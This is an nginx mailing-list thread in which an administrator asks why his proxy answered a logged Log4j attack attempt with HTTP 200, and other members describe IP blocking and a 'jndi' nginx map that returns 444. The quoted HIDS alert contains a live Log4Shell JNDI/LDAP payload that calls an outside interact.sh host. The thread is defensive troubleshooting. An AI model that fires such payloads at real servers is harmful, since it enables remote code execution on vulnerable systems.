"get" is a html verb also known as method.  Most URL requests are gets. 

https://www.w3schools.com/tags/ref_httpmethods.asp

https://nordicapis.com/ultimate-guide-to-all-9-standard-http-methods/

I just know the bare essentials and have web pages that look like the 90's era 
other than using a little HTML5. 

Having never used "parameters" I couldn't completely answer your initial 
question. The only thing I use after an URL is the # for anchors. 

I don't know what your relay is doing. However many implementations of nginx 
simply ban dubious IP space. You can also force a captcha. I use a low CPU 
power VPS for my sercer so I just ban dubious IP space. Firewalls are very kind 
to the CPU but use a lot of memory to hold the IP space designation and port 
information. At a minimum I would block all of AWS. I have about 40k different 
CIDRs I block. All hosting companies or VPS. 

The dumb hackers are simply spraying IP space. You will see the same message 
again and again. They are just bots. 

I only have two servers (VPS) and only one with web and email so I have the 
time to find hackers and block IP space. Once you block AWS the amount of 
hacking drops dramatically. 

I use nginx maps to search for "jndi" and then 444 the requests. I first made 
sure "jndi" didn't appear by accident in any pages I created. 

I have scripts to pull all the IPs for 444 returns from the access logs and 
feed them to a website to look up who controls the IP space. If it is a server 
or VPS the entire associated IP space gets banned using bgp.hp.net to find the 
CIDRs. I do this about every two to three weeks since I have so few hack 
attempts that get past the firewall. Maybe 200 that get past the blocking and 4 
to 6 new servers to add to the list. 

Log4j has two IPs to investigate so I have to handle them by hand unless I can 
write a better script to get the return IP address. In two weeks I only had 
three IPs sending Log4j attacks. 

If you don't want to create your own list of shady IPs there are services that 
will feed your server firewall IPs to block in real time. I prefer to have 
total control. 





  Original Message  


From: mauro.trid...@cmcc.it
Sent: December 29, 2021 10:30 AM
To: nginx@nginx.org
Reply-to: nginx@nginx.org
Subject: Re: [EXTERNAL] Help request about Log4j attack attempts and NGINX logs 
meaning


Hi Justin,

thank you very much for your help.
Since I’m a newbie, I would like to ask you additional details in order to 
“fix” this behaviour  (if it shouuld be fixed).

What is the meaning of “GET /“? Does It mean that the attacker is trying to GET 
something from the / path of the server (sorry for my stupid question)?
How can I check and change the current nginx configuration ?

Thank you in advance,
Mauro

> On 29 Dec 2021, at 19:12, Slaughter, Justin D <justin.slaugh...@charter.com> 
> wrote:
>
> Nginx is returning a 200 because the request is a "GET /", and I am assuming 
> your nginx configurations allow GETs to "/".
>
> Justin
>
> On 29/12/2021, 10:20 AM, "nginx on behalf of Mauro Tridici" 
> <nginx-boun...@nginx.org on behalf of mauro.trid...@cmcc.it> wrote:
>
>    CAUTION: The e-mail below is from an external source. Please exercise 
>caution before opening attachments, clicking links, or following guidance.
>
>    Thank you very much for your reply. I really appreciated it.
>    I’ll wait for the final gurus feedback too.
>
>    Mauro
>
>> On 29 Dec 2021, at 18:03, lists <li...@lazygranch.com> wrote:
>>
>> That IP space is certified shady. I detect the occasional hack from them. See
>>
>> https://krebsonsecurity.com/2019/08/the-rise-of-bulletproof-residential-networks/
>>
>> and
>>
>> https://wirelessdataspco.org/faq.php
>>
>> These wireless companies will do anything for money including leasing their 
>> IP space.
>>
>> I don't block the IP space since it could be from normal users. Plus plenty 
>> of hacking comes from actual wireless providers customers. But I am appalled 
>> highly profitable wireless providers lease ipv4 space to hackers for what is 
>> pocket change for them.
>>
>> I will leave it up to the gurus to parse the log. 
>>
>>
>>
>>
>>
>>
>>   Original Message 
>>
>>
>> From: mauro.trid...@cmcc.it
>> Sent: December 29, 2021 6:55 AM
>> To: nginx@nginx.org
>> Reply-to: nginx@nginx.org
>> Subject: Help request about Log4j attack attempts and NGINX logs meaning
>>
>>
>>
>>
>> Dear Users,
>>
>>
>> I have an old instance of NGINX (v.1.10.1) running as proxy server on a 
>> dedicated hardware platform.
>> Since the proxy service is reachable from internet, it is constantly exposed 
>> to cyber attacks.
>> In my particular case, it is attacked by a lot of Log4j attack attempts from 
>> several malicious IPs.
>>
>>
>> At this moment, an host intrusion detection system (HIDS) is running and is 
>> protecting the NGINX server: it seems it is blocking every malicious attack 
>> attempts.
>> Anyway, during the last attack mail notification sent by the HIDS, I noticed 
>> that the NGINX server response was “HTTP/1.1 200” and I’m very worried about 
>> it.
>> Log4j and Java packages are NOT installed on the NGINX server and all the 
>> servers behind the proxy are not using Log4j.
>>
>>
>> Could you please help me to understand the reason why the NGINX server 
>> answer was “HTTP/1.1 200”!?
>>
>>
>> You can see below the mail notification I received:
>>
>>
>>
>> Attack Notification.
>> 2021 Dec 28 20:45:59
>>
>> Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
>> Src IP: 166.137.252.110
>> Portion of the log(s):
>>
>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET 
>> /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a}
>>  HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>>
>>
>> Thank you in advance,
>> Mauro
>> _______________________________________________
>> nginx mailing list
>> nginx@nginx.org
>> http://mailman.nginx.org/mailman/listinfo/nginx
>
>
>    _______________________________________________
>    nginx mailing list
>    nginx@nginx.org
>    http://mailman.nginx.org/mailman/listinfo/nginx
>
> E-MAIL CONFIDENTIALITY NOTICE:
> The contents of this e-mail message and any attachments are intended solely 
> for the addressee(s) and may contain confidential and/or legally privileged 
> information. If you are not the intended recipient of this message or if this 
> message has been addressed to you in error, please immediately alert the 
> sender by reply e-mail and then delete this message and any attachments. If 
> you are not the intended recipient, you are notified that any use, 
> dissemination, distribution, copying, or storage of this message or any 
> attachment is strictly prohibited.
> _______________________________________________
> nginx mailing list
> nginx@nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx


_______________________________________________
nginx mailing list
nginx@nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx
_______________________________________________
nginx mailing list
nginx@nginx.org
http://mailman.nginx.org/mailman/listinfo/nginx

Reply via email to